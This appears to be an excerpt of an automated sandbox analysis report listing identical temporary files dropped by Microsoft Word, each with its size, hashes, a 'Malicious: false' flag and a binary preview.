Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{36DD0604-1D5D-46CE-B441-6E28E3C3C90E}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{3942DBEB-BB51-4375-8C6B-C3FD648706F7}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{425227F7-F062-4428-B293-3DDD87EA8227}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{48AD3A86-71FE-41BC-8C42-9B7F451A5FB1}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4A53CC72-448E-43E7-8777-5DC64AF922E1}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4AB64767-2F45-4E26-AD21-4A3C75F445C0}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4E174F1A-9FA1-4EAA-92FF-032E560D17A7}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{4E1D9A96-3C80-4611-905A-5B9C8C5DACF9}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{542ADC5D-06B0-4F28-80C4-4019DDC17B17}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{555F9443-C865-4BDD-9B0F-7FA6CB1AFF73}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{5C02353A-9AC9-4F82-8EE3-101194F24C28}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{5CF9C785-3F61-49FB-BA81-C73B6D7BCBDC}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{5F6DB5F7-BEEB-48C3-8D5E-A8DD8B347920}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{627F9508-A26D-4EAB-A8D0-6D88108E34C0}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{639889CA-07B8-48E0-B641-FADB189453B2}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	3.9344090449669307
Encrypted:	false
SSDEEP:	96:ibk09QwO9cG3DC20Kf3aUxK1hg6UZFIknPadzwyVH9CvAkALd8dP:Y99QwO9NzCcvLK1i6whaRwUCIkALuF
MD5:	C737B4A13B0C9AA33C04F1CDB1E201FC
SHA1:	C432958FAA8A7821425CB5DC7043C09F2D067138
SHA-256:	A715E3362E9F444EEE9A7AE22E319FF7E3C4C3109E1FA3F128383498840A5140
SHA-512:	8F04633632E8D456E83DE7692E99BDF4BFB0D656A3DF2E4F8D6517B4A1B660558FDC176C11549E166376971DE400805169B40A69AF898EA0C96BF97CA373798C
Malicious:	false
Preview:	.... . . . ......."..... .....#.........0.G.0.;.L.=.8.:. . ..... ..!2. .%. .#... ..!1. ...#..... .2. .%.0.@.:.V.2.A.L.:.V.9. .>.1.;.0.A.B.V. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ...?.>.;.:.>.2.=.8.:. . .?.>.;.V.F.V.W....... . . . . . . . . . . . . . ...=.4.@.V.9. .(.....'............. ._._._... ...........................&...~...........*.......8...:...................................................................................................................}............}............m............m..........................$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.....$.........7$.8$.H$.a$.gd#.?.........k......7$.8$.H$.`...gd#.?........7$.8$.H$.`...gd#.?..........E.........7$.8$.H$.`...gd#.?................7$.8$.H$.^...gd..;.....$.....

